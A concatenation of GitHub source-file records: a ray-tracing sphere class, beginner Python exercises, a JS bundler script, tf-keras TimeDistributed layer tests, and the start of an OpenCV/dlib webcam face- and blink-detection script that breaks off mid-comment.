np.array(self.center, dtype=np.float32)\n self.radius = float(self.radius)\n\n def to_optix_geometry(self) -> Geometry:\n sphere = Geometry(\n bounding_box_program=Shape.program_dictionary[\"sphere_bb\"],\n intersection_program=Shape.program_dictionary[\"sphere_it\"]\n )\n sphere.set_primitive_count(1)\n sphere['sphere'] = np.append(self.center, self.radius).astype(np.float32)\n return sphere\n\n def get_bbox(self) -> BoundingBox:\n new_max = self.center + self.radius\n new_min = self.center - self.radius\n return BoundingBox(new_max, new_min)\n\n def __str__(self):\n logs = [\n \"[Shape]\",\n \"\\t- type : %s\" % \"sphere\",\n \"\\t- center : %s\" % str(self.center),\n \"\\t- radius : %s\" % str(self.radius)\n ]\n return \"\\n\".join(logs)\n\n def fill_area_light_array(self, np_array):\n np_array[\"lightType\"] = 1\n np_array[\"position\"] = np.array(self.center, dtype=np.float32)\n np_array[\"radius\"] = self.radius\n np_array[\"area\"] = 4 * math.pi * self.radius * self.radius\n","repo_name":"juhyeonkim95/MitsubaPyOptiX","sub_path":"src/core/shapes/sphere.py","file_name":"sphere.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"71412889756","text":"# -*- coding: utf-8 -*-\n\nbalance = 3926\nannualInterestRate = 0.2 \n\ndef year_balance(balance, monthlyPayment):\n ''' The function return an annual balance for particular monthly payment rate '''\n\n for month in range(1,13):\n # Monthly payment\n balance = balance - monthlyPayment\n # Chagring of interest\n balance = balance + (annualInterestRate / 12) * balance\n\n return balance\n\ncheck_payment = 10\n\nwhile True:\n result = year_balance(balance, check_payment)\n\n if result <= 0:\n break\n else:\n check_payment += 10\n\n\nprint('Lowest Payment: {}'.format(check_payment))\n","repo_name":"obukhalov/edX","sub_path":"Introduction to Computer Science and Programming Using Python/Week2/Problem2.py","file_name":"Problem2.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6188367814","text":"\nimport os\nimport sys\nimport re\n\nentrypoint = '.'\n\ndef norm(path):\n name, ext = os.path.splitext(path)\n name = re.sub('^js/', './', name)\n name = re.sub('^src/', './', name)\n name = re.sub('^test/', './', name)\n\n name = re.sub('^overlay/', '', name)\n name = re.sub('^vendor/', '', name)\n name = re.sub('^local/', '', name)\n name = re.sub('^node_modules/', '', name)\n\n name = re.sub('^index$', '.', name)\n name = re.sub('/index$', '', name)\n\n m = re.search('^(.+)-\\d+\\.\\d+\\.\\d+$', name)\n if m: name = m.group(1)\n return name\n\n############################\n\nargs = sys.argv[1:]\nif len(args) > 1 and args[0] == \"-e\":\n entrypoint = args[1]\n args = args[2:]\n\n\nsys.stdout.write(\"\"\"\\\nvar module = module || {};\nmodule.exports = (function bundler(modules){\n var cache = {};\n return function require(name){\n var m, e = cache[name];\n if(!e && modules[name]){\n m = { exports: {} };\n modules[name].call(null, require, m, m.exports, bundler, modules);\n e = cache[name] = m.exports;\n }\n return e;\n }\n})({\n\"\"\")\n\nfor filename in sorted(args):\n with open(filename, encoding='utf-8') as f:\n buf = f.read()\n sys.stdout.write(\"'%s':function(require, module, exports){\\n\" % norm(filename))\n sys.stdout.write(buf)\n sys.stdout.write(\"\\n\") # just in case the last line is a comment\n sys.stdout.write(\"},\\n\")\n\nsys.stdout.write(\"})('%s');\" % entrypoint)\n\n","repo_name":"roseengineering/mersennejs","sub_path":"test/bundle.py","file_name":"bundle.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"27992983155","text":"import numpy as np\nimport tensorflow.compat.v2 as tf\nfrom absl.testing import parameterized\n\nimport tf_keras as keras\nfrom tf_keras.testing_infra import test_combinations\nfrom tf_keras.testing_infra import test_utils\n\n# isort: off\nfrom tensorflow.python.checkpoint import (\n checkpoint as trackable_util,\n)\n\n\nclass TimeDistributedTest(test_combinations.TestCase):\n @test_combinations.generate(\n test_combinations.combine(mode=[\"graph\", \"eager\"])\n )\n def test_timedistributed_dense(self):\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Dense(2), input_shape=(3, 4)\n )\n )\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model.fit(\n np.random.random((10, 3, 4)),\n np.random.random((10, 3, 2)),\n epochs=1,\n batch_size=10,\n )\n\n # test config\n model.get_config()\n\n # check whether the model variables are present in the\n # trackable list of objects\n checkpointed_object_ids = {\n id(o) for o in trackable_util.list_objects(model)\n }\n for v in model.variables:\n self.assertIn(id(v), checkpointed_object_ids)\n\n def test_timedistributed_static_batch_size(self):\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Dense(2), input_shape=(3, 4), batch_size=10\n )\n )\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model.fit(\n np.random.random((10, 3, 4)),\n np.random.random((10, 3, 2)),\n epochs=1,\n batch_size=10,\n )\n\n def test_timedistributed_invalid_init(self):\n x = tf.constant(np.zeros((1, 1)).astype(\"float32\"))\n with self.assertRaisesRegex(\n ValueError,\n \"Please initialize `TimeDistributed` layer with a \"\n \"`tf.keras.layers.Layer` instance.\",\n ):\n keras.layers.TimeDistributed(x)\n\n def test_timedistributed_conv2d(self):\n with self.cached_session():\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Conv2D(5, (2, 2), padding=\"same\"),\n input_shape=(2, 4, 4, 3),\n )\n )\n model.add(keras.layers.Activation(\"relu\"))\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model.train_on_batch(\n np.random.random((1, 2, 4, 4, 3)),\n np.random.random((1, 2, 4, 4, 5)),\n )\n\n model = keras.models.model_from_json(model.to_json())\n model.summary()\n\n def test_timedistributed_stacked(self):\n with self.cached_session():\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Dense(2), input_shape=(3, 4)\n )\n )\n model.add(keras.layers.TimeDistributed(keras.layers.Dense(3)))\n model.add(keras.layers.Activation(\"relu\"))\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n\n model.fit(\n np.random.random((10, 3, 4)),\n np.random.random((10, 3, 3)),\n epochs=1,\n batch_size=10,\n )\n\n def test_regularizers(self):\n with self.cached_session():\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Dense(\n 2, kernel_regularizer=\"l1\", activity_regularizer=\"l1\"\n ),\n input_shape=(3, 4),\n )\n )\n model.add(keras.layers.Activation(\"relu\"))\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n self.assertEqual(len(model.losses), 2)\n\n def test_TimeDistributed_learning_phase(self):\n with self.cached_session():\n keras.utils.set_random_seed(0)\n x = keras.layers.Input(shape=(3, 2))\n y = keras.layers.TimeDistributed(keras.layers.Dropout(0.999))(\n x, training=True\n )\n model = keras.models.Model(x, y)\n y = model.predict(np.random.random((10, 3, 2)))\n self.assertAllClose(np.mean(y), 0.0, atol=1e-1, rtol=1e-1)\n\n def test_TimeDistributed_batchnorm(self):\n with self.cached_session():\n # test that wrapped BN updates still work.\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.BatchNormalization(center=True, scale=True),\n name=\"bn\",\n input_shape=(10, 2),\n )\n )\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n # Assert that mean and variance are 0 and 1.\n td = model.layers[0]\n self.assertAllClose(td.get_weights()[2], np.array([0, 0]))\n assert np.array_equal(td.get_weights()[3], np.array([1, 1]))\n # Train\n model.train_on_batch(\n np.random.normal(loc=2, scale=2, size=(1, 10, 2)),\n np.broadcast_to(np.array([0, 1]), (1, 10, 2)),\n )\n # Assert that mean and variance changed.\n assert not np.array_equal(td.get_weights()[2], np.array([0, 0]))\n assert not np.array_equal(td.get_weights()[3], np.array([1, 1]))\n\n def test_TimeDistributed_trainable(self):\n # test layers that need learning_phase to be set\n x = keras.layers.Input(shape=(3, 2))\n layer = keras.layers.TimeDistributed(keras.layers.BatchNormalization())\n _ = layer(x)\n self.assertEqual(len(layer.trainable_weights), 2)\n layer.trainable = False\n assert not layer.trainable_weights\n layer.trainable = True\n assert len(layer.trainable_weights) == 2\n\n def test_TimeDistributed_with_masked_embedding_and_unspecified_shape(self):\n with self.cached_session():\n # test with unspecified shape and Embeddings with mask_zero\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Embedding(5, 6, mask_zero=True),\n input_shape=(None, None),\n )\n ) # N by t_1 by t_2 by 6\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.SimpleRNN(7, return_sequences=True)\n )\n )\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.SimpleRNN(8, return_sequences=False)\n )\n )\n model.add(keras.layers.SimpleRNN(1, return_sequences=False))\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model_input = np.random.randint(\n low=1, high=5, size=(10, 3, 4), dtype=\"int32\"\n )\n for i in range(4):\n model_input[i, i:, i:] = 0\n model.fit(\n model_input, np.random.random((10, 1)), epochs=1, batch_size=10\n )\n mask_outputs = [model.layers[0].compute_mask(model.input)]\n for layer in model.layers[1:]:\n mask_outputs.append(\n layer.compute_mask(layer.input, mask_outputs[-1])\n )\n func = keras.backend.function([model.input], mask_outputs[:-1])\n mask_outputs_val = func([model_input])\n ref_mask_val_0 = model_input > 0 # embedding layer\n ref_mask_val_1 = ref_mask_val_0 # first RNN layer\n ref_mask_val_2 = np.any(ref_mask_val_1, axis=-1) # second RNN layer\n ref_mask_val = [ref_mask_val_0, ref_mask_val_1, ref_mask_val_2]\n for i in range(3):\n self.assertAllEqual(mask_outputs_val[i], ref_mask_val[i])\n self.assertIs(mask_outputs[-1], None) # final layer\n\n @test_combinations.generate(\n test_combinations.combine(mode=[\"graph\", \"eager\"])\n )\n def test_TimeDistributed_with_masking_layer(self):\n # test with Masking layer\n model = keras.models.Sequential()\n model.add(\n keras.layers.TimeDistributed(\n keras.layers.Masking(\n mask_value=0.0,\n ),\n input_shape=(None, 4),\n )\n )\n model.add(keras.layers.TimeDistributed(keras.layers.Dense(5)))\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model_input = np.random.randint(low=1, high=5, size=(10, 3, 4))\n for i in range(4):\n model_input[i, i:, :] = 0.0\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model.fit(\n model_input, np.random.random((10, 3, 5)), epochs=1, batch_size=6\n )\n mask_outputs = [model.layers[0].compute_mask(model.input)]\n mask_outputs += [\n model.layers[1].compute_mask(\n model.layers[1].input, mask_outputs[-1]\n )\n ]\n func = keras.backend.function([model.input], mask_outputs)\n mask_outputs_val = func([model_input])\n self.assertEqual((mask_outputs_val[0]).all(), model_input.all())\n self.assertEqual((mask_outputs_val[1]).all(), model_input.all())\n\n def test_TimeDistributed_with_different_time_shapes(self):\n time_dist = keras.layers.TimeDistributed(keras.layers.Dense(5))\n ph_1 = keras.backend.placeholder(shape=(None, 10, 13))\n out_1 = time_dist(ph_1)\n self.assertEqual(out_1.shape.as_list(), [None, 10, 5])\n\n ph_2 = keras.backend.placeholder(shape=(None, 1, 13))\n out_2 = time_dist(ph_2)\n self.assertEqual(out_2.shape.as_list(), [None, 1, 5])\n\n ph_3 = keras.backend.placeholder(shape=(None, 1, 18))\n with self.assertRaisesRegex(ValueError, \"is incompatible with\"):\n time_dist(ph_3)\n\n def test_TimeDistributed_with_invalid_dimensions(self):\n time_dist = keras.layers.TimeDistributed(keras.layers.Dense(5))\n ph = keras.backend.placeholder(shape=(None, 10))\n with self.assertRaisesRegex(\n ValueError,\n \"`TimeDistributed` Layer should be passed an `input_shape `\",\n ):\n time_dist(ph)\n\n @test_combinations.generate(\n test_combinations.combine(mode=[\"graph\", \"eager\"])\n )\n def test_TimeDistributed_reshape(self):\n class NoReshapeLayer(keras.layers.Layer):\n def call(self, inputs):\n return inputs\n\n # Built-in layers that aren't stateful use the reshape implementation.\n td1 = keras.layers.TimeDistributed(keras.layers.Dense(5))\n self.assertTrue(td1._always_use_reshape)\n\n # Built-in layers that are stateful don't use the reshape\n # implementation.\n td2 = keras.layers.TimeDistributed(\n keras.layers.RNN(keras.layers.SimpleRNNCell(10), stateful=True)\n )\n self.assertFalse(td2._always_use_reshape)\n\n # Custom layers are not allowlisted for the fast reshape implementation.\n td3 = keras.layers.TimeDistributed(NoReshapeLayer())\n self.assertFalse(td3._always_use_reshape)\n\n @test_combinations.run_all_keras_modes\n @parameterized.named_parameters(\n (\"fully_defined\", [3, 2, 4], [3, 2, 8]),\n (\"dynamic_batch_size\", [None, 2, 4], [None, 2, 8]),\n (\"two_dynamic_dims\", [None, None, 4], [None, None, 8]),\n (\"rank_only\", [None, None, None], [None, None, None]),\n )\n def test_TimeDistributed_output_shape_return_types(\n self, input_shape, expected_output_shape\n ):\n class TestLayer(keras.layers.Layer):\n def call(self, inputs):\n return tf.concat([inputs, inputs], axis=-1)\n\n def compute_output_shape(self, input_shape):\n output_shape = tf.TensorShape(input_shape).as_list()\n if output_shape[-1] is not None:\n output_shape[-1] = output_shape[-1] * 2\n output_shape = tf.TensorShape(output_shape)\n return output_shape\n\n class TestListLayer(TestLayer):\n def compute_output_shape(self, input_shape):\n shape = super().compute_output_shape(input_shape)\n return shape.as_list()\n\n class TestTupleLayer(TestLayer):\n def compute_output_shape(self, input_shape):\n shape = super().compute_output_shape(input_shape)\n return tuple(shape.as_list())\n\n # Layers can specify output shape as list/tuple/TensorShape\n test_layers = [TestLayer, TestListLayer, TestTupleLayer]\n for layer in test_layers:\n input_layer = keras.layers.TimeDistributed(layer())\n inputs = keras.backend.placeholder(shape=input_shape)\n output = input_layer(inputs)\n self.assertEqual(output.shape.as_list(), expected_output_shape)\n self.assertEqual(\n input_layer.compute_output_shape(input_shape).as_list(),\n expected_output_shape,\n )\n\n @test_combinations.run_all_keras_modes(always_skip_v1=True)\n # TODO(scottzhu): check why v1 session failed.\n def test_TimeDistributed_with_mask_first_implementation(self):\n np.random.seed(100)\n rnn_layer = keras.layers.LSTM(4, return_sequences=True, stateful=True)\n\n data = np.array(\n [\n [[[1.0], [1.0]], [[0.0], [1.0]]],\n [[[1.0], [0.0]], [[1.0], [1.0]]],\n [[[1.0], [0.0]], [[1.0], [1.0]]],\n ]\n )\n x = keras.layers.Input(shape=(2, 2, 1), batch_size=3)\n x_masking = keras.layers.Masking()(x)\n y = keras.layers.TimeDistributed(rnn_layer)(x_masking)\n model_1 = keras.models.Model(x, y)\n model_1.compile(\n \"rmsprop\", \"mse\", run_eagerly=test_utils.should_run_eagerly()\n )\n output_with_mask = model_1.predict(data, steps=1)\n\n y = keras.layers.TimeDistributed(rnn_layer)(x)\n model_2 = keras.models.Model(x, y)\n model_2.compile(\n \"rmsprop\", \"mse\", run_eagerly=test_utils.should_run_eagerly()\n )\n output = model_2.predict(data, steps=1)\n\n self.assertNotAllClose(output_with_mask, output, atol=1e-7)\n\n @test_combinations.run_all_keras_modes\n @parameterized.named_parameters(\n *test_utils.generate_combinations_with_testcase_name(\n layer=[keras.layers.LSTM, keras.layers.Dense]\n )\n )\n def test_TimeDistributed_with_ragged_input(self, layer):\n if tf.executing_eagerly():\n self.skipTest(\"b/143103634\")\n np.random.seed(100)\n layer = layer(4)\n ragged_data = tf.ragged.constant(\n [\n [[[1.0], [1.0]], [[2.0], [2.0]]],\n [[[4.0], [4.0]], [[5.0], [5.0]], [[6.0], [6.0]]],\n [[[7.0], [7.0]], [[8.0], [8.0]], [[9.0], [9.0]]],\n ],\n ragged_rank=1,\n )\n\n x_ragged = keras.Input(shape=(None, 2, 1), dtype=\"float32\", ragged=True)\n y_ragged = keras.layers.TimeDistributed(layer)(x_ragged)\n model_1 = keras.models.Model(x_ragged, y_ragged)\n model_1._run_eagerly = test_utils.should_run_eagerly()\n output_ragged = model_1.predict(ragged_data, steps=1)\n\n x_dense = keras.Input(shape=(None, 2, 1), dtype=\"float32\")\n masking = keras.layers.Masking()(x_dense)\n y_dense = keras.layers.TimeDistributed(layer)(masking)\n model_2 = keras.models.Model(x_dense, y_dense)\n dense_data = ragged_data.to_tensor()\n model_2._run_eagerly = test_utils.should_run_eagerly()\n output_dense = model_2.predict(dense_data, steps=1)\n\n output_ragged = convert_ragged_tensor_value(output_ragged)\n self.assertAllEqual(output_ragged.to_tensor(), output_dense)\n\n @test_combinations.run_all_keras_modes\n def test_TimeDistributed_with_ragged_input_with_batch_size(self):\n np.random.seed(100)\n layer = keras.layers.Dense(16)\n\n ragged_data = tf.ragged.constant(\n [\n [[[1.0], [1.0]], [[2.0], [2.0]]],\n [[[4.0], [4.0]], [[5.0], [5.0]], [[6.0], [6.0]]],\n [[[7.0], [7.0]], [[8.0], [8.0]], [[9.0], [9.0]]],\n ],\n ragged_rank=1,\n )\n\n # Use the first implementation by specifying batch_size\n x_ragged = keras.Input(\n shape=(None, 2, 1), batch_size=3, dtype=\"float32\", ragged=True\n )\n y_ragged = keras.layers.TimeDistributed(layer)(x_ragged)\n model_1 = keras.models.Model(x_ragged, y_ragged)\n output_ragged = model_1.predict(ragged_data, steps=1)\n\n x_dense = keras.Input(shape=(None, 2, 1), batch_size=3, dtype=\"float32\")\n masking = keras.layers.Masking()(x_dense)\n y_dense = keras.layers.TimeDistributed(layer)(masking)\n model_2 = keras.models.Model(x_dense, y_dense)\n dense_data = ragged_data.to_tensor()\n output_dense = model_2.predict(dense_data, steps=1)\n\n output_ragged = convert_ragged_tensor_value(output_ragged)\n self.assertAllEqual(output_ragged.to_tensor(), output_dense)\n\n def test_TimeDistributed_set_static_shape(self):\n layer = keras.layers.TimeDistributed(keras.layers.Conv2D(16, (3, 3)))\n inputs = keras.Input(batch_shape=(1, None, 32, 32, 1))\n outputs = layer(inputs)\n # Make sure the batch dim is not lost after array_ops.reshape.\n self.assertListEqual(outputs.shape.as_list(), [1, None, 30, 30, 16])\n\n @test_combinations.run_all_keras_modes\n def test_TimeDistributed_with_mimo(self):\n dense_1 = keras.layers.Dense(8)\n dense_2 = keras.layers.Dense(16)\n\n class TestLayer(keras.layers.Layer):\n def __init__(self):\n super().__init__()\n self.dense_1 = dense_1\n self.dense_2 = dense_2\n\n def call(self, inputs):\n return self.dense_1(inputs[0]), self.dense_2(inputs[1])\n\n def compute_output_shape(self, input_shape):\n output_shape_1 = self.dense_1.compute_output_shape(\n input_shape[0]\n )\n output_shape_2 = self.dense_2.compute_output_shape(\n input_shape[1]\n )\n return output_shape_1, output_shape_2\n\n np.random.seed(100)\n layer = TestLayer()\n\n data_1 = tf.constant(\n [\n [[[1.0], [1.0]], [[2.0], [2.0]]],\n [[[4.0], [4.0]], [[5.0], [5.0]]],\n [[[7.0], [7.0]], [[8.0], [8.0]]],\n ]\n )\n\n data_2 = tf.constant(\n [\n [[[1.0], [1.0]], [[2.0], [2.0]]],\n [[[4.0], [4.0]], [[5.0], [5.0]]],\n [[[7.0], [7.0]], [[8.0], [8.0]]],\n ]\n )\n\n x1 = keras.Input(shape=(None, 2, 1), dtype=\"float32\")\n x2 = keras.Input(shape=(None, 2, 1), dtype=\"float32\")\n y1, y2 = keras.layers.TimeDistributed(layer)([x1, x2])\n model_1 = keras.models.Model([x1, x2], [y1, y2])\n model_1.compile(\n optimizer=\"rmsprop\",\n loss=\"mse\",\n run_eagerly=test_utils.should_run_eagerly(),\n )\n output_1 = model_1.predict((data_1, data_2), steps=1)\n\n y1 = dense_1(x1)\n y2 = dense_2(x2)\n model_2 = keras.models.Model([x1, x2], [y1, y2])\n output_2 = model_2.predict((data_1, data_2), steps=1)\n\n self.assertAllClose(output_1, output_2)\n\n model_1.fit(\n x=[\n np.random.random((10, 2, 2, 1)),\n np.random.random((10, 2, 2, 1)),\n ],\n y=[\n np.random.random((10, 2, 2, 8)),\n np.random.random((10, 2, 2, 16)),\n ],\n epochs=1,\n batch_size=3,\n )\n\n def test_TimeDistributed_Attention(self):\n query_input = keras.layers.Input(shape=(None, 1, 10), dtype=\"float32\")\n value_input = keras.layers.Input(shape=(None, 4, 10), dtype=\"float32\")\n\n # Query-value attention of shape [batch_size, Tq, filters].\n query_value_attention_seq = keras.layers.TimeDistributed(\n keras.layers.Attention()\n )([query_input, value_input])\n model = keras.models.Model(\n [query_input, value_input], query_value_attention_seq\n )\n model.compile(optimizer=\"rmsprop\", loss=\"mse\")\n model.fit(\n [\n np.random.random((10, 8, 1, 10)),\n np.random.random((10, 8, 4, 10)),\n ],\n np.random.random((10, 8, 1, 10)),\n epochs=1,\n batch_size=10,\n )\n\n # test config and serialization/deserialization\n model.get_config()\n model = keras.models.model_from_json(model.to_json())\n model.summary()\n\n\ndef convert_ragged_tensor_value(inputs):\n if isinstance(inputs, tf.compat.v1.ragged.RaggedTensorValue):\n flat_values = tf.convert_to_tensor(\n value=inputs.flat_values, name=\"flat_values\"\n )\n return tf.RaggedTensor.from_nested_row_splits(\n flat_values, inputs.nested_row_splits, validate=False\n )\n return inputs\n\n\nif __name__ == \"__main__\":\n tf.test.main()\n","repo_name":"keras-team/tf-keras","sub_path":"tf_keras/layers/rnn/time_distributed_test.py","file_name":"time_distributed_test.py","file_ext":"py","file_size_in_byte":21527,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"50"} +{"seq_id":"71304028634","text":"peso_vagon_vacio = 6425.0\npeso_contenedor = 845.75\npeso_cilindro = 650.8\n\ncantidad_contenedores = 3\ncantidad_cilindros = 2\n\npeso_total_cargado = peso_vagon_vacio + \\\n (cantidad_contenedores * peso_contenedor) + \\\n (cantidad_cilindros * peso_cilindro)\n\nprint(\"El peso del vagón ya cargado es:\", peso_total_cargado, \"kilogramos\")\n","repo_name":"robopleXOR/LearningPythonFullStack","sub_path":"P80E51-7.py","file_name":"P80E51-7.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9908538172","text":"from imutils.video import VideoStream\nfrom imutils.video import FPS\nfrom imutils.video import FileVideoStream\nfrom scipy.spatial import distance as dist\nfrom imutils import face_utils\n\nimport os\nimport sqlite3\nimport numpy as np\nimport argparse\nimport imutils\nimport cv2\nimport dlib\nimport cv2\nimport face_recognition\nimport subprocess\nimport numpy as np\nimport argparse\nimport imutils\nimport time\nimport sys\n\n\n\n\ndef count_face(capture, nbFace):\n faceCascade = cv2.CascadeClassifier('add-files/haarcascade/haarcascade_frontalface_default.xml')\n while(True):\n ret, frame = capture.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n #On détecte les visages\n faces = faceCascade.detectMultiScale(gray)\n numb_face = len(faces)\n time.sleep(3)\n if numb_face == nbFace:\n return True\n else:\n return False\n\n\ndef os_checker():\n if 'linux' in sys.platform:\n return True\n else:\n return False\n\n\n\"\"\"Installer le paquet v4l2 avce la commande suivante: $ sudo apt-get install v4l-utils\"\"\"\ndef set_cam_index(num):\n nombre = len(webcam())-1\n try:\n num = int(num)\n except Exception as e:\n raise e \n if 0<=num<=nombre:\n conn = sqlite3.connect('oudjat.db')\n cursor = conn.cursor()\n cursor.execute(\"\"\"UPDATE admin SET cam_index = ? WHERE id = ? \"\"\", (num,'1',))\n conn.commit()\n conn.close()\n else:\n return False\n\n\ndef webcam():\n proc = subprocess.Popen([\"ls -l /dev/video*|wc -l\"], stdout=subprocess.PIPE, shell=True)\n (nb_cam, err) = proc.communicate()\n a = int(nb_cam)\n proc = subprocess.Popen([\"v4l2-ctl --list-devices\"], stdout=subprocess.PIPE, shell=True)\n (cmd, err) = proc.communicate()\n\n cam = []\n for i in cmd.decode('utf-8').split('\\n\\n')[:-1]:\n cam += [''.join(str(i).split(\":\")[:-1])]\n return cam\n\ndef webcam_list():\n cam1 = webcam()\n cam_list = '\\n'+'\\n'.join([str(i)+'- '+j for i,j in enumerate(cam1)])+'\\n'\n\n return cam_list\n\n\n\ndef objet_detect(capture):\n #Initialisation de la classe d'objet à détecter\n CLASSES = [\"background\", \"aeroplane\", \"bicycle\", \"bird\", \"boat\",\n \"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\", \"diningtable\",\n \"dog\", \"horse\", \"motorbike\", \"person\", \"sheep\",\n \"sofa\", \"train\", \"tvmonitor\", \"knife\",\"phone\"]\n COLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))\n\n # charger notre modèle sérialisé à partir du disque\n net = cv2.dnn.readNetFromCaffe('add-files/MobileNetSSD_deploy.prototxt.txt' ,'add-files/MobileNetSSD_deploy.caffemodel')\n\n # initialiser le flux vidéo, laisser le capteur de la caméra se réchauffer,\n # et initialiser le compteur de FPS\n fps = FPS().start()\n\n # Boucle sur les frames de la video\n while True:\n # récupérez l'image du flux vidéo et redimensionnez-le\n # pour avoir une largeur maximale de 600 pixels\n frame = capture.read()\n frame = imutils.resize(frame, width=600)\n\n # saisir les dimensions du cadre et le convertir en blob\n (h, w) = frame.shape[:2]\n blob = cv2.dnn.blobFromImage(cv2.resize(frame, (300, 300)),\n 0.007843, (300, 300), 127.5)\n\n # passer le blob à travers le réseau de neuronne et obtenir les détections extract\n # prédictions\n net.setInput(blob)\n detections = net.forward()\n\n # boucle sur les détections\n for i in np.arange(0, detections.shape[2]):\n # extraire la confiance (c'est-à-dire la probabilité) associée à\n # la prédiction\n confidence = detections[0, 0, i, 2]\n\n # filtrer les détections faibles en veillant à ce que la «confiance» soit\n # plus grand que le minimum de confiance\n if confidence > 0.5:\n # extraire l'index de l'objet de classe de la\n # `detections`, puis calculez les coordonnées (x, y) du\n # cadre de sélection de l'objet\n idx = int(detections[0, 0, i, 1])\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (startX, startY, endX, endY) = box.astype(\"int\")\n\n # dessiner la prédiction sur le cadre\n label = \"{}: {:.2f}%\".format(CLASSES[idx],\n confidence * 100)\n cv2.rectangle(frame, (startX, startY), (endX, endY),\n COLORS[idx], 2)\n y = startY - 15 if startY - 15 > 15 else startY + 15\n cv2.putText(frame, label, (startX, y),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, COLORS[idx], 2)\n\n time.sleep(5)\n if CLASSES[idx] in CLASSES:\n return False\n \n else:\n return True\n # afficher la frame de sortie\n cv2.imshow(\"Frame\", frame)\n\n # mettre à jour le compteur de FPS\n fps.update()\n\n # arrêter le chronomètre et afficher les informations FPS\n fps.stop()\n\n # faire un peu de nettoyage\n cv2.destroyAllWindows()\n capture.stop()\n\n\n\ndef face_recognition(capture):\n\n #time.sleep(4)\n\n #On charge une 1ere image légitime qu'on va detecter et reconnaitre dans la capture\n papin_image = face_recognition.load_image_file(\"image/pa2.jpg\")\n papin_face_encoding = face_recognition.face_encodings(papin_image)[0]\n\n\n while True:\n # On prend une frame de la vidéo\n ret, frame = capture.read()\n\n # On convertit l'image de BGR color (utiliser par OpenCV) A  RGB color (utiliser par face_recognition)\n rgb_frame = frame[:, :, ::-1]\n\n # On localise tous les visages et les visages encodés dans la frame de la vidéoes\n face_locations = face_recognition.face_locations(rgb_frame)\n face_encodings = face_recognition.face_encodings(rgb_frame, face_locations)\n\n #On parcourt chaque visage dans la frame de la vidéo\n for (top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):\n #On vérifie si le visage détecté correspond à celui de l'utilisateur légitime\n matches = face_recognition.compare_faces(known_face_encodings, face_encodings)\n\n result = False\n\n # A chaque comparaison on prend le 1er visage reconnu\n if True in matches:\n first_match_index = matches.index(True)\n #name = known_face_names[first_match_index]\n result = True \n\n return result\n\n\n\ndef rapport_aspect_oeil(oeil):\n \"\"\"Ici nous calculons le rapport d'aspect d'oeil qui nous permettra de détecter les clignements des yeux\"\"\"\n # calculer les distances euclidiennes entre les deux ensembles de points de repère des yeux verticaux (x,y)\n A = dist.euclidean(oeil[1], oeil[5])\n B = dist.euclidean(oeil[2], oeil[4])\n\n # calculer les distances euclidiennes entre l'horizontale, repère visuel (x,y)\n C = dist.euclidean(oeil[0], oeil[3])\n\n # calculer le rapport d'aspect des yeux\n ear = (A + B) / (2.0 * C)\n return ear\n\n\ndef blink_detection(video_capture):\n \n # definir deux constantes, une pour le rapport d'aspect de l'oeil pour indiquer le clignement\n # puis une seconde constante pour le nombre de frame consecutive avec un rapport d'aspect d'oeil inferieur au seuil\n EAR_SEUIL = 0.30\n EAR_CONSEC_FRAMES = 4\n\n # Initialisation du compteur des frames et du nombre total de clignement\n COUNTER = 0\n TOTAL = 0\n\n # Initialisation du detecteur de visage Dlib\n # creation et Chargement du predicteur du point de repere facial\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor('add-files/shape_predictor_68_face_landmarks.dat')\n\n # saisir les index des reperes faciaux pour l'oeil gauche et l'oeil droit, respectivement\n (lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"left_eye\"]\n (rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS[\"right_eye\"]\n\n # demarrer le fil du flux video\n vs = video_capture\n fileStream = False\n # time.sleep(4)\n\n # boucle sur les images du flux vidéo\n while True:\n \n # recuperation l'image du flux video, redimensionnement\n # et conversion en niveaux de gris les chaines\n frame = vs.read()\n # frame = vs.imutils.resize(frame, width=100)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n # detecter les visages dans les frames en niveaux de gris\n rects = detector(gray, 0)\n\n # boucle sur les detections de visage\n for rect in rects:\n # determination des reperes faciaux pour la region du visage, puis\n # conversion du point de repere facial (x, y) en un tableau numPy\n shape = predictor(gray, rect)\n shape = face_utils.shape_to_np(shape)\n\n # extraire les coordonnees de l'oeil gauche et droit, puis\n # les coordonnees 